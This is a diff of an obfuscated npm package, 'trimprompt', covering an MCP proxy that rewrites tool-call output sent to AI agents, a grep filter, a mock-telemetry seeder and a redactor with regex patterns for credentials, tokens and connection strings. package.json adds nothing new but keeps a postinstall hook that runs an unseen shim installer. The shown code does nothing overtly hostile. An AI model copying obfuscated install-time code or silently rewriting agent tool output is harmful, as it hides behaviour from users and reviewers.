_0x18e035[_0x3e37fa(0x130)](..._0x89e201[_0x3e37fa(0x125)](0x0,0x32)),_0x18e035['push'](_0x3e37fa(0x13d)+(_0x89e201['length']-0x50)+_0x3e37fa(0x124)),_0x18e035[_0x3e37fa(0x130)](..._0x89e201[_0x3e37fa(0x125)](-0x1e)),_0x18e035[_0x3e37fa(0x130)]('\x0a('+_0x89e201['length']+_0x3e37fa(0x131)),_0x18e035[_0x3e37fa(0x13f)]('\x0a');}function filterGrep(_0x3010e1){const _0x565ec8=a0_0x182c7a,_0xf3d584=_0x3010e1[_0x565ec8(0x12e)]('\x0a')[_0x565ec8(0x12f)](_0x29e9a6=>_0x29e9a6[_0x565ec8(0x139)]()[_0x565ec8(0x13b)]>0x0);if(_0xf3d584['length']===0x0)return'No\x20matches\x20found';if(_0xf3d584[_0x565ec8(0x13b)]<=0x32)return _0x3010e1[_0x565ec8(0x139)]();const _0x59d8be={},_0x22f9ee=[];for(const _0x2cb1e7 of _0xf3d584){const _0x549f08=_0x2cb1e7['indexOf'](':');if(_0x549f08>0x0&&_0x549f08<0xc8){const _0x1dbf53=_0x2cb1e7[_0x565ec8(0x13e)](0x0,_0x549f08);if(_0x1dbf53['includes']('/')||_0x1dbf53[_0x565ec8(0x143)]('\x5c')||_0x1dbf53[_0x565ec8(0x143)]('.')){if(!_0x59d8be[_0x1dbf53])_0x59d8be[_0x1dbf53]=[];_0x59d8be[_0x1dbf53][_0x565ec8(0x130)](_0x2cb1e7[_0x565ec8(0x13e)](_0x549f08+0x1)[_0x565ec8(0x139)]());continue;}}_0x22f9ee[_0x565ec8(0x130)](_0x2cb1e7);}const _0xba6233=[],_0xc019a9=Object[_0x565ec8(0x144)](_0x59d8be);if(_0xc019a9[_0x565ec8(0x13b)]>0x0){const _0x803ded=0x14,_0x1a33c6=_0xc019a9[_0x565ec8(0x125)](0x0,_0x803ded);for(const _0x31998d of _0x1a33c6){const _0x2112ce=_0x59d8be[_0x31998d];if(_0x2112ce[_0x565ec8(0x13b)]<=0x3)for(const _0x338b81 of _0x2112ce){_0xba6233[_0x565ec8(0x130)](_0x31998d+':\x20'+_0x338b81);}else _0xba6233[_0x565ec8(0x130)](_0x31998d+':\x20'+_0x2112ce[0x0]),_0xba6233[_0x565ec8(0x130)](_0x31998d+_0x565ec8(0x12d)+_0x2112ce[_0x565ec8(0x13b)]+_0x565ec8(0x12a));}_0xc019a9[_0x565ec8(0x13b)]>_0x803ded&&_0xba6233[_0x565ec8(0x130)](_0x565ec8(0x145)+(_0xc019a9[_0x565ec8(0x13b)]-_0x803ded)+'\x20more\x20files\x20with\x20matches');}if(_0x22f9ee['length']>0x0){const _0x4896c4=0x1e;_0xba6233[_0x565ec8(0x130)](..._0x22f9ee[_0x565ec8(0x125)](0x0,_0x4896c4)),_0x22f9ee[_0x565ec8(0x13b)]>_0x4896c4&&_0xba6233[_0x565ec8(0x130)]('...\x20+'+(_0x22f9ee[_0x565ec8(0x13b)]-_0x4896c4)+_0x565ec8(0x127));}const _0x3aa6c4=_0xf3d584[_0x565ec8(0x13b)];return _0xba6233['push']('\x0a('+_0x3aa6c4+'\x20matches\x20across\x20'+(_0xc019a9[_0x565ec8(0x13b)]||'?')+_0x565ec8(0x12c)),_0xba6233[_0x565ec8(0x13f)]('\x0a');}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x2a28fd=a0_0x286c;(function(_0x2bf889,_0x206a9d){const _0xb8d36=a0_0x286c,_0x1d824=_0x2bf889();while(!![]){try{const _0x2a39f5=parseInt(_0xb8d36(0x1c1))/0x1*(parseInt(_0xb8d36(0x18f))/0x2)+-parseInt(_0xb8d36(0x196))/0x3*(parseInt(_0xb8d36(0x194))/0x4)+-parseInt(_0xb8d36(0x1a7))/0x5+-parseInt(_0xb8d36(0x1b7))/0x6*(-parseInt(_0xb8d36(0x1af))/0x7)+-parseInt(_0xb8d36(0x1bc))/0x8*(parseInt(_0xb8d36(0x1a3))/0x9)+parseInt(_0xb8d36(0x1c5))/0xa*(parseInt(_0xb8d36(0x197))/0xb)+parseInt(_0xb8d36(0x191))/0xc*(parseInt(_0xb8d36(0x1ad))/0xd);if(_0x2a39f5===_0x206a9d)break;else _0x1d824['push'](_0x1d824['shift']());}catch(_0xe1b68a){_0x1d824['push'](_0x1d824['shift']());}}}(a0_0x2d11,0x4a0fa));var __createBinding=this&&this[a0_0x2a28fd(0x1b6)]||(Object[a0_0x2a28fd(0x1c6)]?function(_0x34916a,_0x4cd17d,_0xfe2a9c,_0x4b6b65){const _0x1443c4=a0_0x2a28fd;if(_0x4b6b65===undefined)_0x4b6b65=_0xfe2a9c;var _0x314936=Object['getOwnPropertyDescriptor'](_0x4cd17d,_0xfe2a9c);(!_0x314936||(_0x1443c4(0x190)in _0x314936?!_0x4cd17d[_0x1443c4(0x1ba)]:_0x314936[_0x1443c4(0x1b1)]||_0x314936['configurable']))&&(_0x314936={'enumerable':!![],'get':function(){return _0x4cd17d[_0xfe2a9c];}}),Object[_0x1443c4(0x1a6)](_0x34916a,_0x4b6b65,_0x314936);}:function(_0x2165e8,_0x286d0f,_0x5733c4,_0x1332f4){if(_0x1332f4===undefined)_0x1332f4=_0x5733c4;_0x2165e8[_0x1332f4]=_0x286d0f[_0x5733c4];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x2a28fd(0x1c6)]?function(_0x25f978,_0x15f2ab){const _0x1a6da3=a0_0x2a28fd;Object[_0x1a6da3(0x1a6)](_0x25f978,_0x1a6da3(0x1bf),{'enumerable':!![],'value':_0x15f2ab});}:function(_0x5bc3c8,_0x5a4562){const _0x509c2c=a0_0x2a28fd;_0x5bc3c8[_0x509c2c(0x1bf)]=_0x5a4562;}),__importStar=this&&this[a0_0x2a28fd(0x1c2)]||(function(){var _0x462613=function(_0x3a7042){const _0x503b84=a0_0x286c;return _0x462613=Object[_0x503b84(0x1a5)]||function(_0x3f8b66){const _0x467fd5=_0x503b84;var _0x441363=[];for(var _0x5162f3 in _0x3f8b66)if(Object[_0x467fd5(0x19a)]['hasOwnProperty'][_0x467fd5(0x192)](_0x3f8b66,_0x5162f3))_0x441363[_0x441363[_0x467fd5(0x1bb)]]=_0x5162f3;return _0x441363;},_0x462613(_0x3a7042);};return function(_0x395237){const _0x1ad1eb=a0_0x286c;if(_0x395237&&_0x395237[_0x1ad1eb(0x1ba)])return _0x395237;var _0x40ed00={};if(_0x395237!=null){for(var _0x13d2c2=_0x462613(_0x395237),_0x4e3d2a=0x0;_0x4e3d2a<_0x13d2c2[_0x1ad1eb(0x1bb)];_0x4e3d2a++)if(_0x13d2c2[_0x4e3d2a]!==_0x1ad1eb(0x1bf))__createBinding(_0x40ed00,_0x395237,_0x13d2c2[_0x4e3d2a]);}return __setModuleDefault(_0x40ed00,_0x395237),_0x40ed00;};}());Object[a0_0x2a28fd(0x1a6)](exports,a0_0x2a28fd(0x1ba),{'value':!![]}),exports[a0_0x2a28fd(0x1b5)]=runMcpProxy;const child_process_1=require(a0_0x2a28fd(0x1bd)),readline=__importStar(require(a0_0x2a28fd(0x1a1))),filters_1=require(a0_0x2a28fd(0x1ae)),tracker_1=require(a0_0x2a28fd(0x1a8));function a0_0x286c(_0x58ae20,_0x320066){_0x58ae20=_0x58ae20-0x18f;const _0x2d11ec=a0_0x2d11();let _0x286c0d=_0x2d11ec[_0x58ae20];return _0x286c0d;}function runMcpProxy(_0x228a50,_0x4d2756){const _0x2b978e=a0_0x2a28fd,_0x25f815=(0x0,child_process_1[_0x2b978e(0x1aa)])(_0x228a50,_0x4d2756,{'stdio':[_0x2b978e(0x1b3),_0x2b978e(0x1b3),_0x2b978e(0x1b2)]});process[_0x2b978e(0x1c3)][_0x2b978e(0x1b3)](_0x25f815[_0x2b978e(0x1c3)]);const _0x1eef1c=readline[_0x2b978e(0x1c7)]({'input':_0x25f815['stdout'],'terminal':![]});_0x1eef1c['on'](_0x2b978e(0x19e),_0x1d00f2=>{const _0x112592=_0x2b978e;try{const _0x2180aa=JSON[_0x112592(0x1b8)](_0x1d00f2);if(_0x2180aa&&_0x2180aa[_0x112592(0x19c)]===_0x112592(0x19d)&&_0x2180aa['id']!==undefined&&_0x2180aa['result']&&Array['isArray'](_0x2180aa['result']['content'])){let _0x4b82d2=![];for(const _0x36c64c of _0x2180aa[_0x112592(0x1a9)][_0x112592(0x1b4)]){if(_0x36c64c[_0x112592(0x1c4)]===_0x112592(0x1ac)&&typeof _0x36c64c[_0x112592(0x1ac)]===_0x112592(0x1b0)&&_0x36c64c['text'][_0x112592(0x195)]()[_0x112592(0x1bb)]>0x0){const _0x37ac7e=_0x36c64c[_0x112592(0x1ac)],_0x3defb8=(0x0,filters_1['compressOutput'])(_0x112592(0x1b9),_0x37ac7e,'',tracker_1[_0x112592(0x1a4)][_0x112592(0x1a0)]()[_0x112592(0x199)]);tracker_1[_0x112592(0x1a4)][_0x112592(0x1c0)](_0x112592(0x193)+_0x2180aa['id']+')',_0x37ac7e,_0x3defb8,0x0),_0x36c64c[_0x112592(0x1ac)]=_0x3defb8,_0x4b82d2=!![];}}_0x4b82d2?process[_0x112592(0x19b)]['write'](JSON[_0x112592(0x198)](_0x2180aa)+'\x0a'):process[_0x112592(0x19b)]['write'](_0x1d00f2+'\x0a');}else process[_0x112592(0x19b)][_0x112592(0x1a2)](_0x1d00f2+'\x0a');}catch{process[_0x112592(0x19b)][_0x112592(0x1a2)](_0x1d00f2+'\x0a');}}),_0x25f815['on']('close',_0x232570=>{const _0x48d727=_0x2b978e;process[_0x48d727(0x1ab)](_0x232570||0x0);}),_0x25f815['on']('error',_0x1d699c=>{const _0x335514=_0x2b978e;console['error'](_0x335514(0x1be)+_0x1d699c[_0x335514(0x19f)]),process[_0x335514(0x1ab)](0x1);});}function a0_0x2d11(){const _0x5d0fc2=['mcp-tool-call','__esModule','length','8jmzgtG','child_process','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','default','logExecution','1kdHTGw','__importStar','stdin','type','10FCeqDH','create','createInterface','707530CMKFXr','get','5736iJUpBH','call','mcp\x20tool\x20(id:\x20','749236frfixt','trim','3pxNoHB','6472301psNnob','stringify','redaction_enabled','prototype','stdout','jsonrpc','2.0','line','message','getConfig','readline','write','5225679ZmqaXv','tracker','getOwnPropertyNames','defineProperty','2333115DdNrJC','./tracker','result','spawn','exit','text','13884IOmFaT','./filters','596799wSemGa','string','writable','inherit','pipe','content','runMcpProxy','__createBinding','6iqykbR','parse'];a0_0x2d11=function(){return _0x5d0fc2;};return a0_0x2d11();}
1
+ 'use strict';const a0_0x423bac=a0_0xdc38;(function(_0x247b3b,_0x516a7c){const _0xfe7806=a0_0xdc38,_0x271ae0=_0x247b3b();while(!![]){try{const _0x3b87fa=parseInt(_0xfe7806(0x1b8))/0x1+parseInt(_0xfe7806(0x1b0))/0x2*(-parseInt(_0xfe7806(0x1d5))/0x3)+parseInt(_0xfe7806(0x1b4))/0x4+parseInt(_0xfe7806(0x1cb))/0x5*(parseInt(_0xfe7806(0x1b5))/0x6)+-parseInt(_0xfe7806(0x1c9))/0x7*(-parseInt(_0xfe7806(0x1b7))/0x8)+parseInt(_0xfe7806(0x1cc))/0x9*(parseInt(_0xfe7806(0x1b9))/0xa)+-parseInt(_0xfe7806(0x1c2))/0xb;if(_0x3b87fa===_0x516a7c)break;else _0x271ae0['push'](_0x271ae0['shift']());}catch(_0x1ea92d){_0x271ae0['push'](_0x271ae0['shift']());}}}(a0_0x3bd4,0x6d51b));var __createBinding=this&&this['__createBinding']||(Object[a0_0x423bac(0x1d2)]?function(_0x80201c,_0x480e5b,_0x372bee,_0x3b3fa4){const _0x37c767=a0_0x423bac;if(_0x3b3fa4===undefined)_0x3b3fa4=_0x372bee;var _0x5c1361=Object[_0x37c767(0x1be)](_0x480e5b,_0x372bee);(!_0x5c1361||(_0x37c767(0x1c3)in _0x5c1361?!_0x480e5b[_0x37c767(0x1cf)]:_0x5c1361[_0x37c767(0x1db)]||_0x5c1361[_0x37c767(0x1ba)]))&&(_0x5c1361={'enumerable':!![],'get':function(){return _0x480e5b[_0x372bee];}}),Object[_0x37c767(0x1c5)](_0x80201c,_0x3b3fa4,_0x5c1361);}:function(_0xd86a8f,_0x2cb24e,_0x4385ce,_0x164c81){if(_0x164c81===undefined)_0x164c81=_0x4385ce;_0xd86a8f[_0x164c81]=_0x2cb24e[_0x4385ce];}),__setModuleDefault=this&&this[a0_0x423bac(0x1b6)]||(Object[a0_0x423bac(0x1d2)]?function(_0x25d951,_0x2ed0ea){const _0x31f35d=a0_0x423bac;Object[_0x31f35d(0x1c5)](_0x25d951,'default',{'enumerable':!![],'value':_0x2ed0ea});}:function(_0x373cd5,_0x1bc2d3){_0x373cd5['default']=_0x1bc2d3;}),__importStar=this&&this[a0_0x423bac(0x1d4)]||(function(){var _0x1e7e44=function(_0x218f7f){const _0x3d7c22=a0_0xdc38;return _0x1e7e44=Object[_0x3d7c22(0x1c7)]||function(_0x5b79e0){const _0x524dfd=_0x3d7c22;var _0x5176f5=[];for(var _0x16c9c7 in _0x5b79e0)if(Object[_0x524dfd(0x1c6)][_0x524dfd(0x1bb)]['call'](_0x5b79e0,_0x16c9c7))_0x5176f5[_0x5176f5[_0x524dfd(0x1da)]]=_0x16c9c7;return _0x5176f5;},_0x1e7e44(_0x218f7f);};return function(_0x4a5d7a){const _0x2d0abd=a0_0xdc38;if(_0x4a5d7a&&_0x4a5d7a[_0x2d0abd(0x1cf)])return _0x4a5d7a;var _0x177790={};if(_0x4a5d7a!=null){for(var _0x2c37d2=_0x1e7e44(_0x4a5d7a),_0x28abaa=0x0;_0x28abaa<_0x2c37d2[_0x2d0abd(0x1da)];_0x28abaa++)if(_0x2c37d2[_0x28abaa]!==_0x2d0abd(0x1cd))__createBinding(_0x177790,_0x4a5d7a,_0x2c37d2[_0x28abaa]);}return __setModuleDefault(_0x177790,_0x4a5d7a),_0x177790;};}());function a0_0x3bd4(){const _0x40d28a=['7846234uLHskL','get','pipe','defineProperty','prototype','getOwnPropertyNames','write','63gNPXYP','result','15emPtei','465561sLjIyh','default','parse','__esModule','logExecution','stdin','create','2.0','__importStar','1344162WMSnef','inherit','tracker','content','compressOutput','length','writable','spawn','readline','error','redaction_enabled','./filters','2GovJJb','createInterface','line','message','979260POXeYE','1508412nGbVbf','__setModuleDefault','164944pflnCh','269349pJPDsN','30VuOenD','configurable','hasOwnProperty','close','isArray','getOwnPropertyDescriptor','stdout','string','text'];a0_0x3bd4=function(){return _0x40d28a;};return a0_0x3bd4();}Object['defineProperty'](exports,a0_0x423bac(0x1cf),{'value':!![]}),exports['runMcpProxy']=runMcpProxy;const child_process_1=require('child_process'),readline=__importStar(require(a0_0x423bac(0x1dd))),filters_1=require(a0_0x423bac(0x1e0)),tracker_1=require('./tracker');function a0_0xdc38(_0x45a5b5,_0x552ea7){_0x45a5b5=_0x45a5b5-0x1b0;const _0x3bd48c=a0_0x3bd4();let _0xdc386=_0x3bd48c[_0x45a5b5];return _0xdc386;}function runMcpProxy(_0x578e14,_0x10dac0){const _0x2da153=a0_0x423bac,_0x1a6d50=(0x0,child_process_1[_0x2da153(0x1dc)])(_0x578e14,_0x10dac0,{'stdio':[_0x2da153(0x1c4),'pipe',_0x2da153(0x1d6)]});process[_0x2da153(0x1d1)][_0x2da153(0x1c4)](_0x1a6d50[_0x2da153(0x1d1)]);const _0x33a35f=readline[_0x2da153(0x1b1)]({'input':_0x1a6d50['stdout'],'terminal':![]});_0x33a35f['on'](_0x2da153(0x1b2),_0x321f96=>{const _0x350c95=_0x2da153;try{const _0x4aaae7=JSON[_0x350c95(0x1ce)](_0x321f96);if(_0x4aaae7&&_0x4aaae7['jsonrpc']===_0x350c95(0x1d3)&&_0x4aaae7['id']!==undefined&&_0x4aaae7[_0x350c95(0x1ca)]&&Array[_0x350c95(0x1bd)](_0x4aaae7[_0x350c95(0x1ca)][_0x350c95(0x1d8)])){let _0x48df1a=![];for(const _0x47f882 of _0x4aaae7[_0x350c95(0x1ca)][_0x350c95(0x1d8)]){if(_0x47f882['type']===_0x350c95(0x1c1)&&typeof _0x47f882[_0x350c95(0x1c1)]===_0x350c95(0x1c0)&&_0x47f882[_0x350c95(0x1c1)]['trim']()[_0x350c95(0x1da)]>0x0){const _0xda4532=_0x47f882[_0x350c95(0x1c1)],_0x19a87d=(0x0,filters_1[_0x350c95(0x1d9)])('mcp-tool-call',_0xda4532,'',tracker_1[_0x350c95(0x1d7)]['getConfig']()[_0x350c95(0x1df)]);tracker_1['tracker'][_0x350c95(0x1d0)]('mcp\x20tool\x20(id:\x20'+_0x4aaae7['id']+')',_0xda4532,_0x19a87d,0x0),_0x47f882['text']=_0x19a87d,_0x48df1a=!![];}}_0x48df1a?process[_0x350c95(0x1bf)][_0x350c95(0x1c8)](JSON['stringify'](_0x4aaae7)+'\x0a'):process['stdout'][_0x350c95(0x1c8)](_0x321f96+'\x0a');}else process['stdout'][_0x350c95(0x1c8)](_0x321f96+'\x0a');}catch{process[_0x350c95(0x1bf)][_0x350c95(0x1c8)](_0x321f96+'\x0a');}}),_0x1a6d50['on'](_0x2da153(0x1bc),_0xbecf2c=>{process['exit'](_0xbecf2c||0x0);}),_0x1a6d50['on']('error',_0x1bff58=>{const _0x5cef6b=_0x2da153;console[_0x5cef6b(0x1de)]('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x1bff58[_0x5cef6b(0x1b3)]),process['exit'](0x1);});}
package/package.json CHANGED
@@ -1,11 +1,19 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.9",
3
+ "version": "1.0.11",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
7
7
  "trim": "cli.js"
8
8
  },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/trimprompt/trimprompt.git"
12
+ },
13
+ "bugs": {
14
+ "url": "https://github.com/trimprompt/trimprompt/issues"
15
+ },
16
+ "homepage": "https://github.com/trimprompt/trimprompt#readme",
9
17
  "scripts": {
10
18
  "postinstall": "node cli.js shims install || true"
11
19
  },
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x20a9ef=a0_0x3b14;(function(_0x2895b8,_0x2886f2){const _0xd3a9fd=a0_0x3b14,_0x34b73c=_0x2895b8();while(!![]){try{const _0x5e736f=-parseInt(_0xd3a9fd(0x194))/0x1*(parseInt(_0xd3a9fd(0x195))/0x2)+parseInt(_0xd3a9fd(0x1a2))/0x3*(parseInt(_0xd3a9fd(0x18b))/0x4)+parseInt(_0xd3a9fd(0x193))/0x5*(parseInt(_0xd3a9fd(0x18d))/0x6)+-parseInt(_0xd3a9fd(0x198))/0x7*(-parseInt(_0xd3a9fd(0x18f))/0x8)+-parseInt(_0xd3a9fd(0x18a))/0x9*(-parseInt(_0xd3a9fd(0x190))/0xa)+parseInt(_0xd3a9fd(0x192))/0xb+-parseInt(_0xd3a9fd(0x19e))/0xc*(parseInt(_0xd3a9fd(0x199))/0xd);if(_0x5e736f===_0x2886f2)break;else _0x34b73c['push'](_0x34b73c['shift']());}catch(_0x3f47f9){_0x34b73c['push'](_0x34b73c['shift']());}}}(a0_0x49c9,0xa5704));Object[a0_0x20a9ef(0x19c)](exports,a0_0x20a9ef(0x191),{'value':!![]}),exports[a0_0x20a9ef(0x196)]=exports[a0_0x20a9ef(0x19d)]=void 0x0;class Redactor{[a0_0x20a9ef(0x18c)]=[];constructor(){const _0x511508=a0_0x20a9ef;this[_0x511508(0x197)]();}[a0_0x20a9ef(0x197)](){const _0x120f2a=a0_0x20a9ef;this[_0x120f2a(0x18c)]=[{'name':_0x120f2a(0x189),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x120f2a(0x19b)},{'name':_0x120f2a(0x19f),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':'$1:\x20[REDACTED_CREDENTIAL]'},{'name':'IPv4\x20Address','regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x120f2a(0x1a1)},{'name':'Email\x20Address','regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x120f2a(0x19a)}];}['redact'](_0x353046){const _0x396a74=a0_0x20a9ef;let _0x5d0f96=_0x353046;for(const _0x58d6e8 of this['rules']){_0x5d0f96=_0x5d0f96[_0x396a74(0x18e)](_0x58d6e8[_0x396a74(0x1a0)],_0x58d6e8['replacement']);}return _0x5d0f96;}}function a0_0x3b14(_0x51138f,_0xe53c3f){_0x51138f=_0x51138f-0x189;const _0x49c975=a0_0x49c9();let _0x3b14e7=_0x49c975[_0x51138f];return _0x3b14e7;}function a0_0x49c9(){const _0x5613ce=['[REDACTED_IP]','3cdOQgt','Database\x20Connection\x20String','18EJWEOh','4667948mFXHva','rules','2635254iAZoWm','replace','112SvCjHx','6111050aMupqO','__esModule','4811433wanlqw','15kzplgS','2051ogldbl','618zwjmWl','redactor','loadDefaultRules','365386khVNoq','1287DzLCVe','[REDACTED_EMAIL]','[REDACTED_DB_CONNECTION_STRING]','defineProperty','Redactor','431952NanVfl','API\x20Key\x20or\x20Password','regex'];a0_0x49c9=function(){return _0x5613ce;};return a0_0x49c9();}exports[a0_0x20a9ef(0x19d)]=Redactor,exports[a0_0x20a9ef(0x196)]=new Redactor();
1
+ 'use strict';const a0_0x1cc35b=a0_0x5743;(function(_0x5e690b,_0x42bdf0){const _0x37a5bc=a0_0x5743,_0x3766c2=_0x5e690b();while(!![]){try{const _0x410f90=-parseInt(_0x37a5bc(0xef))/0x1+parseInt(_0x37a5bc(0xf4))/0x2*(parseInt(_0x37a5bc(0x100))/0x3)+-parseInt(_0x37a5bc(0xfa))/0x4*(parseInt(_0x37a5bc(0xec))/0x5)+-parseInt(_0x37a5bc(0xf8))/0x6*(-parseInt(_0x37a5bc(0xf9))/0x7)+-parseInt(_0x37a5bc(0xfb))/0x8+parseInt(_0x37a5bc(0xfe))/0x9*(-parseInt(_0x37a5bc(0xfd))/0xa)+parseInt(_0x37a5bc(0xee))/0xb;if(_0x410f90===_0x42bdf0)break;else _0x3766c2['push'](_0x3766c2['shift']());}catch(_0x87df82){_0x3766c2['push'](_0x3766c2['shift']());}}}(a0_0x248f,0x3d994));Object[a0_0x1cc35b(0x101)](exports,'__esModule',{'value':!![]}),exports[a0_0x1cc35b(0xf0)]=exports[a0_0x1cc35b(0xf2)]=void 0x0;class Redactor{['rules']=[];constructor(){this['loadDefaultRules']();}[a0_0x1cc35b(0xf3)](){const _0x46971c=a0_0x1cc35b;this['rules']=[{'name':'Database\x20Connection\x20String','regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x46971c(0xff)},{'name':'API\x20Key\x20or\x20Password','regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x46971c(0xf1)},{'name':_0x46971c(0x102),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x46971c(0xea)},{'name':_0x46971c(0xf7),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x46971c(0xf6)}];}[a0_0x1cc35b(0xf5)](_0x21a37f){const _0x3ce4dc=a0_0x1cc35b;let _0x4ff602=_0x21a37f;for(const _0xc19321 of this[_0x3ce4dc(0xeb)]){_0x4ff602=_0x4ff602[_0x3ce4dc(0xed)](_0xc19321['regex'],_0xc19321[_0x3ce4dc(0xfc)]);}return _0x4ff602;}}function a0_0x248f(){const _0x410d46=['$1:\x20[REDACTED_CREDENTIAL]','Redactor','loadDefaultRules','190rFgKYa','redact','[REDACTED_EMAIL]','Email\x20Address','12SBHToa','1213282HYPdJd','4EYhAOt','1794704niYMxL','replacement','2024410uRDVJA','18Azzumh','[REDACTED_DB_CONNECTION_STRING]','9420xjeiBb','defineProperty','IPv4\x20Address','[REDACTED_IP]','rules','1765675DnRGBg','replace','11632676vQBICl','467805hjvxsP','redactor'];a0_0x248f=function(){return _0x410d46;};return a0_0x248f();}function a0_0x5743(_0x3e0e84,_0x9ee959){_0x3e0e84=_0x3e0e84-0xea;const _0x248f6c=a0_0x248f();let _0x574334=_0x248f6c[_0x3e0e84];return _0x574334;}exports[a0_0x1cc35b(0xf2)]=Redactor,exports[a0_0x1cc35b(0xf0)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x482930=a0_0x5e61;function a0_0x47d8(){const _0x54b42f=['gemini-1-5-pro','docker\x20build\x20.','[INFO]\x20Building\x20modules...\x0a','Database\x20successfully\x20seeded!','Test\x20suite\x20run\x20starting...\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','Optimizing\x20assets...\x0a','defineProperty','repeat','log','4132lJamXk','Successfully\x20built\x20image.','claude-3-opus','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','4220952rLBxeB','test_api.py\x20PASS\x0a','npm\x20run\x20build','All\x20303\x20tests\x20passed\x20in\x204.22s.','Step\x201/10\x20:\x20FROM\x20node:20\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','480EEKPFv','532212tqWcGo','569307YQTcNj','12337384unooKm','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','__esModule','tracker','logExecution','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','./tracker','Compilation\x20Output:\x0a','gpt-4o','399653RUatTK','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','test_auth.py\x20PASS\x0a','test_db.py\x20PASS\x0a','2849903QvAhDt'];a0_0x47d8=function(){return _0x54b42f;};return a0_0x47d8();}(function(_0x2a7fff,_0x491134){const _0x54ba35=a0_0x5e61,_0x4f8738=_0x2a7fff();while(!![]){try{const _0x57b786=-parseInt(_0x54ba35(0x1d4))/0x1+parseInt(_0x54ba35(0x1c9))/0x2+parseInt(_0x54ba35(0x1ca))/0x3+parseInt(_0x54ba35(0x1e4))/0x4*(-parseInt(_0x54ba35(0x1ee))/0x5)+-parseInt(_0x54ba35(0x1e8))/0x6+-parseInt(_0x54ba35(0x1d9))/0x7+parseInt(_0x54ba35(0x1cb))/0x8;if(_0x57b786===_0x491134)break;else _0x4f8738['push'](_0x4f8738['shift']());}catch(_0xc05fa5){_0x4f8738['push'](_0x4f8738['shift']());}}}(a0_0x47d8,0x5edfe));function a0_0x5e61(_0x28e3a1,_0x4be74c){_0x28e3a1=_0x28e3a1-0x1c9;const _0x47d864=a0_0x47d8();let _0x5e61df=_0x47d864[_0x28e3a1];return _0x5e61df;}Object[a0_0x482930(0x1e1)](exports,a0_0x482930(0x1cd),{'value':!![]});const tracker_1=require(a0_0x482930(0x1d1));console[a0_0x482930(0x1e3)](a0_0x482930(0x1e7)),process.env.TRIMPROMPT_MODEL=a0_0x482930(0x1e6),tracker_1[a0_0x482930(0x1ce)][a0_0x482930(0x1cf)](a0_0x482930(0x1ea),a0_0x482930(0x1d2)+a0_0x482930(0x1dc)+a0_0x482930(0x1e0)+a0_0x482930(0x1d5)[a0_0x482930(0x1e2)](0x190),a0_0x482930(0x1d6),0x0),process.env.TRIMPROMPT_MODEL=a0_0x482930(0x1d3),tracker_1[a0_0x482930(0x1ce)][a0_0x482930(0x1cf)]('pytest\x20tests/app',a0_0x482930(0x1de)+a0_0x482930(0x1d7)+a0_0x482930(0x1d8)+a0_0x482930(0x1e9)[a0_0x482930(0x1e2)](0x12c)+a0_0x482930(0x1eb),a0_0x482930(0x1cc),0x0),process.env.TRIMPROMPT_MODEL=a0_0x482930(0x1da),tracker_1[a0_0x482930(0x1ce)]['logExecution'](a0_0x482930(0x1db),a0_0x482930(0x1df)+a0_0x482930(0x1ec)+a0_0x482930(0x1ed)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x482930(0x1e2)](0x3)+a0_0x482930(0x1e5),a0_0x482930(0x1d0),0x0),console[a0_0x482930(0x1e3)](a0_0x482930(0x1dd));
1
